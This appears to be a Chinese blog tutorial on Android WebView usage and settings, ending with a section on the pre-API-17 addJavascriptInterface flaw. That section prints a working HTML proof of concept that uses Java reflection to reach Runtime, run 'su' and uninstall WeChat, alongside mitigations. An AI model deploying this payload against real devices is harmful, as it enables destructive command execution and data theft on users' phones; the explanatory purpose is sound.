安卓中WebView的常用方法

基本使用
使用WebView通常是需要网络的,所以需要加上访问网络的权限

?
1
< uses-permission android:name = "android.permission.INTERNET" />

1.加载某个url的方法

?
1
WebView.loadUrl( "http://www.baidu.com" );

需要注意的是不要省略前面的http://,省略的话,某些ROM中的WebView会加载失败
2.加载assets中的HTML

?
1
WebView.loadUrl( "file:///android_asset/xxx.html" )

3.加载一段javascript

?
1
WebView.loadUrl( "javascript:" + ${js_code})

4.为js提供本地方法
如下,提供一个showToast的方法给javascript

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private static class JavaJs {
   private Context context;
   JavaJs(Context context) {
     this .context = context;
   }
   @JavascriptInterface
   public void showToast(String str) {
     Toast.makeText(context, str, Toast.LENGTH_LONG).show();
   }
}
webView.addJavascriptInterface( new JavaJs( this ), "JavaJs" );
 
 
<script type= "text/javascript" >
   JavaJs.showToast( "toast from js" );
</script>

注意:

  • 提供给javascript的方法必需是public的,否则js无法访问
  • 提供给javascript的方法将会在WebView管理的线程中执行,因此要保证该方法的线程安全性.(Toast是支持在非UI线程中show()的,所以上面的showToast方法是没问题的)
  • 提供给javascript的方法一定要加上 @JavascriptInterface
  • 在Android 4.2,Api 17之前,javascript可以通过反射java对象,来执行一些危险操作.比如反射取到Runtime,然后执行shell命令
  • 虽然@JavascriptInterface是在Api 17加上的,但是Api 17之前,我们依然建议将提供给javascript的方法加上该annotation.(JSR-175规定,运行时annotation缺失,则直接忽略,而不会抛出ClassNotFoundException)
  • 针对Android 4.2以前的设备,我们建议不要通过addJavascriptInterface向javascript提供方法,并且通过removeJavascriptInterface("searchBoxJavaBridge_")来移除WebView自己添加的java对象.

5.页面跳转

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
webView.setWebViewClient( new WebViewClient() {
 
   @Override
   public boolean shouldOverrideUrlLoading(WebView view, String url) {
     if (Uri.parse(url).getHost().equals( "www.xxx.com" )) {
       // 自己的页面,直接使用WebView加载
       return false ;
     }
     // 别的公司的页面,使用浏览器打开
     Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
     startActivity(intent);
     return true ;
   }
});

6.访问历史回退

?
1
2
3
4
5
6
7
8
@Override
public boolean onKeyDown( int keyCode, KeyEvent event) {
   if ((keyCode == KeyEvent.KEYCODE_BACK) && webView.canGoBack()) {
     webView.goBack();
     return true ;
   }
   return super .onKeyDown(keyCode, event);
}

7.在Logcat中输出javascript的日志信息
重写WebChromeClient中的onConsoleMessage方法

?
1
2
3
4
5
@Override
public boolean onConsoleMessage(ConsoleMessage consoleMessage) {
   Log.d( "WebView" , consoleMessage.message() + " js line: " + consoleMessage.lineNumber());
   return true ;
}

8.支持javascript的警告框 alert
重写WebChromeClient中的onJsAlert方法

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@Override
public boolean onJsAlert(WebView view, String url, String message, final JsResult result) {
   new AlertDialog.Builder(MainActivity. this )
       .setTitle( "JsAlert" )
       .setMessage(message)
       .setPositiveButton( "OK" , new DialogInterface.OnClickListener() {
         @Override
         public void onClick(DialogInterface dialog, int which) {
           result.confirm();
         }
       })
       .setCancelable( false )
       .show();
   return true ;
}

9.支持javascript的确认框 confirm
重写WebChromeClient中的onJsConfirm方法

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@Override
public boolean onJsConfirm(WebView view, String url, String message, final JsResult result) {
   new AlertDialog.Builder(MainActivity. this )
       .setTitle( "JsConfirm" )
       .setMessage(message)
       .setPositiveButton( "OK" , new DialogInterface.OnClickListener() {
         @Override
         public void onClick(DialogInterface dialog, int which) {
           result.confirm();
         }
       })
       .setNegativeButton( "Cancel" , new DialogInterface.OnClickListener() {
         @Override
         public void onClick(DialogInterface dialog, int which) {
           result.cancel();
         }
       })
       .setCancelable( false )
       .show();
   return true ;
}

10.支持javascript提问框 prompt
重写WebChromeClient中的onJsPrompt方法

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@Override
public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, final JsPromptResult result) {
   final EditText et = new EditText(MainActivity. this );
   et.setText(defaultValue);
   new AlertDialog.Builder(MainActivity. this )
       .setTitle(message)
       .setView(et)
       .setPositiveButton( "OK" , new DialogInterface.OnClickListener() {
         @Override
         public void onClick(DialogInterface dialog, int which) {
           result.confirm(et.getText().toString());
         }
       })
       .setNegativeButton( "Cancel" , new DialogInterface.OnClickListener() {
         @Override
         public void onClick(DialogInterface dialog, int which) {
           result.cancel();
         }
       })
       .setCancelable( false )
       .show();
   return true ;
}

11.显示空白页

?
1
2
WebView.loadUrl( "about:blank" );
//该方法使得WebView只会绘制一个白色背景,并且释放之前加载页面时使用的资源,并停止之前javascript的执行

12.清除返回栈 WebView.clearHistory
13.获得访问历史列表 WebView.copyBackForwardList
14.下载 WebView.setDownloadListener
15.pauseTimers, onPause, resumeTimers, onResume

pauseTimers, onPause 停止解析,javascript执行等操作.区别是 onPause 只作用于调用它的WebView,而 pauseTimers 作用于当前应用中所有的WebView
resumeTimers, onResume 恢复解析,javascript执行等操作.区别是 onResume 只作用于调用它的WebView,而 resumeTimers 作用于当前应用中所有的WebView

常用设置
1.安全相关(去掉不必要的JavaBridge)

?
1
2
3
//这个Java Bridge是WebView自己添加的
//在Api 17以前,javascript可以通过java对象进行反射,执行一些不安全的操作
webView.removeJavascriptInterface( "searchBoxJavaBridge_" );

2.js相关

?
1
2
//设置支持javascript,默认是false
WebSettings.setJavaScriptEnabled( true );

3.缩放相关

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//使WebView支持通过手势或者缩放控制器来缩放页面,默认是true
//该设置不影响 WebView.zoomIn()和WebView.zoomOut()
WebSettings.setSupportZoom( true );
 
//设置使用默认的缩放控制器,默认是false
WebSettings.setBuiltInZoomControls( true );
 
//不显示默认的+/-缩放控制View, 默认是true
WebSettings.setDisplayZoomControls( false );
加载图片策略相关
 
//设置是否自动加载图片,默认是`true`,如果设置为`false`,那么所有图片都不会被加载,包括本地图片.
WebSettings.setLoadsImagesAutomatically( true );
 
//设置是否阻止加载网络图片,默认是`false`,如果设置为`true`,那么网络图片将不会加载.(可以先设置为true,然后再设置为false,来加快页面加载速度)
WebSettings.setBlockNetworkImage( false );
 
//设置是否阻止加载网络资源(不仅仅是图片),默认是`false`,如果设置为`true`,那么网络上的js,css,图片等资源都不会加载
WebSettings.setBlockNetworkLoads( false );

4.渲染相关

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//设置渲染线程的优先级
//该方法在 Api 18之后被废弃,优先级由WebView自己管理
//不过任然建议将其设置为 HIGH,来提高页面渲染速度
WebSettings.setRenderPriority(RenderPriority.HIGH);
Viewport相关
 
//设置使用 宽 的Viewpoint,默认是false
//Android browser以及chrome for Android的设置是`true`
//而WebView的默认设置是`false`
//如果设置为`true`,那么网页的可用宽度为`980px`,并且可以通过 meta data来设置
//如果设置为`false`,那么可用区域和WebView的显示区域有关.
WebSettings.setUseWideViewPort( true );
 
//如果webview内容宽度大于显示区域的宽度,那么将内容缩小,以适应显示区域的宽度, 默认是false
WebView.setLoadWithOverviewMode( true );
<!--如果WebSettings.getUseWideViewPort 是 true , 那么可以通过meta来设置 Viewport -->
<!--例如将其可用宽度设置为 480px, 并且禁用缩放功能-->
<head>
   <meta name= "viewport" content= "width=480, user-scalable=no" />
</head>
 
<!--如果WebSettings.getUseWideViewPort 是 false , 那么 不能 通过meta来设置-->

其效果类似于:

?
1
< meta name = "viewport" content = "width=device-width" />

注意: 这里的px和通常说的像素不同,他和dp的概念非常类似. 参见 Mozilla

前端存储相关设置(方便前端工程师在客户端存储数据)

?
1
2
3
4
5
6
7
8
9
10
11
12
//支持H5的 application cache 的功能
WebSettings.setAppCacheEnabled( true );
//设置 application cache 的存储路径(通常存储js,css,图片等)
WebSetting.setAppCachePath( "xxx" );
 
//支持 H5 的session storage和local storage
WebSettings.setDomStorageEnabled( true );
 
//支持javascript读,写db
WebSettings.setDatabaseEnabled( true );
//设置js创建的db文件的路径, Api 19以后废弃,直接有webview管理
WebSettings.setDatabasePath( "xxx" );

5.缓存相关设置

?
1
2
3
4
5
//设置加载资源时,如何使用cache
//默认设置是:WebSettings.LOAD_DEFAULT
//当WebView正常加载一个页面时,如果缓存命中且没有过期,则使用缓存数据,否则从网络加载,当WebView.goBack()时,如果缓存命中,直接使用,不会验证是否过期
//可用的其他设置:LOAD_CACHE_ELSE_NETWORK, LOAD_NO_CACHE, LOAD_CACHE_ONLY
WebSettings.setCacheModel(WebSettings.LOAD_DEFAULT);

6.cookie相关

?
1
2
3
4
5
6
7
8
9
10
public static void synCookies(Context context, String url) {
   CookieManager cookieManager = CookieManager.getInstance();
   cookieManager.setAcceptCookie( true ); //默认就是true
   cookieManager.setCookie(url, cookies);
   if (Build.VERSION.SDK_INT < 21 ) {
     CookieSyncManager.createInstance(context).sync();
   } else {
     cookieManager.flush();
   }
}


addJavascriptInterface的安全问题
1.为javascript提供native接口的途径

Android WebView 提供一个addJavascriptInterface方法来为javascript创建一个JavaBridge.
例如给js提供一个showToast的方法:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private static class JavaJs {
   private Context context;
   JavaJs(Context context) {
     this .context = context;
   }
   @JavascriptInterface
   public void showToast(String str) {
     Toast.makeText(context, str, Toast.LENGTH_LONG).show();
   }
}
webView.addJavascriptInterface( new JavaJs( this ), "JavaJs" );
 
 
<script type= "text/javascript" >
   JavaJs.showToast( "toast from js" );
</script>

2.安全问题

Api 17之前,在WebView为javascript提供了java对象之后, 可以利用javascript代码调用java的反射Api,进行一些hack操作,导致安全性问题.(<font color=red>注意: </font>低版本的WebView会自己添加一个searchBoxJavaBridge_对象,通常我们需要自己移除)
Api 17之后,WebView会禁止javascript调用没有添加@JavascriptInterface方法,从而避免上述问题.(<font color=red>注意: </font>推荐大家始终添加@JavascriptInterface,而不用关心Api版本,因为annotation缺失并不会导致ClassNotFoundException,而仅仅是被jvm忽略)
安全问题示例 (通过javascript卸载微信)

通过反射可以干很多事情,比如类似于 UserInfo 这样的对象,如果他是单例的话,那么很容易可以取到用户的 用户名,邮箱,手机号 等信息.
此处展示一个简单的页面,当通过WebView打开这个HTML,手机上的微信就会被卸载(当然前提是该app拥有root权限).

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<html>
   <head>
     <script>
       function toByteArray(str) {
         var ch, stack, result = [];
         for ( var i = 0; i < str.length; ++i) {
           ch = str.charCodeAt(i);
           stack = [];
           do {
             stack.push(ch & 0xFF);
             ch = ch >> 8;
           } while (ch);
 
           result = result.concat(stack.reverse());
         }
         return result;
       }
 
       function execCmd(outputStream) {
         var cmd = "adb shell pm uninstall com.tencent.mm" ;
         outputStream.write(toByteArray(cmd));
         outputStream.close();
       }
 
       function toString(inputStream) {
         var result = "" ;
         var c;
         while ((c = inputStream.read()) != -1) {
           var s = String.fromCharCode(c);
           result += s;
         }
         return result;
       }
 
       function hack() {
         for ( var obj in window) {
           if ( "getClass" in window[obj]) {
             console.log(obj);
             var runtime = window[obj].getClass().forName( "java.lang.Runtime" ).getMethod( "getRuntime" , null ).invoke( null , null );
 
             var p = runtime.exec([ "su" ]);
 
             execCmd(p.getOutputStream());
             alert(toString(p.getInputStream()));
             break ;
           }
         }
       }
 
       hack();
     </script>
   </head>
 
<body>
   卸载微信 :)
</body>
</html>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值